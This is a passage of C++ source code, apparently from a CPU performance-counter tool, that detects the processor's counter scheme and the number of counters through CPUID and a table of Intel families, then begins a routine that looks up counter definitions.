// PMC scheme defined by cpuid function A
Cpuid(CpuIdOutput, 0x0A);
if (CpuIdOutput[0] & 0xFF) {
MScheme = EPMCScheme(S_ID1 << ((CpuIdOutput[0] & 0xFF) - 1));
NumPMCs = (CpuIdOutput[0] >> 8) & 0xFF;
//NumFixedPMCs = CpuIdOutput[0] & 0x1F;
NumFixedPMCs = CpuIdOutput[3] & 0x1F;
// printf("\nCounters:\nMScheme = 0x%X, NumPMCs = %i, NumFixedPMCs = %i\n\n", MScheme, NumPMCs, NumFixedPMCs);
}
}
if (MScheme == S_UNKNOWN) {
// PMC scheme not defined by cpuid
switch (MFamily) {
case INTEL_P1MMX:
MScheme = S_P1; break;
case INTEL_P23: case INTEL_PM:
MScheme = S_P2; break;
case INTEL_P4:
MScheme = S_P4; break;
case INTEL_CORE:
MScheme = S_ID1; break;
case INTEL_CORE2:
MScheme = S_ID2; break;
case INTEL_7: case INTEL_ATOM: case INTEL_SILV:
MScheme = S_ID3; break;
}
}
}
if (diagnostics) {
if (MVendor == INTEL) printf(", NumPMCs %X, NumFixedPMCs %X", NumPMCs, NumFixedPMCs);
printf(", MScheme %X\n", MScheme);
}
}
// Request a counter setup
// (return value is error message)
const char * CCounters::DefineCounter(int CounterType) {
if (CounterType == 0) return NULL;
int i;
SCounterDefinition * p;
// Search for matching counter definition
for (i=0, p = CounterDefinitions; i < NumCounterDefinitions; i++, p++) {